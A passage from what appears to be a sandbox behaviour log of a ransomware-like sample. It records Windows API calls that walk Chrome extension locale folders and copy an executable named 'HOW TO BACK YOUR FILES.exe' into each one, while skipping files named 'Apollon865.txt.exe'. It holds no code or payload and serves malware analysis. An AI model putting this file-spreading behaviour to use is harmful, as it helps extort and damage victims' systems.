	[0049.372] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru"
	[0049.372] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.376] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x357f7270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x357f7270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.376] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.376] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.376] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro"
	[0049.376] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro"
	[0049.376] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.377] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.384] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3581d3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3581d3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.384] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.384] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.384] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT"
	[0049.384] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT"
	[0049.384] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.385] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.388] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.388] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3581d3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3581d3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.389] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.389] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.389] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR"
	[0049.389] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR"
	[0049.389] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.393] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3581d3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3581d3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.394] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.394] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.394] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl"
	[0049.394] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl"
	[0049.394] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.398] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35843530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35843530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.398] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.398] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.398] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no"
	[0049.398] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no"
	[0049.398] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.402] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35843530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35843530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.403] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.403] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.403] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl"
	[0049.403] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl"
	[0049.403] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.403] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.407] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35843530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35843530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.407] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.407] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.407] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms"
	[0049.407] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms"
	[0049.407] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.407] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.423] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35869690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35869690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.423] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.423] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.423] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv"
	[0049.423] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv"
	[0049.423] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.423] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.427] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.427] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3588f7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3588f7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.427] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.427] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
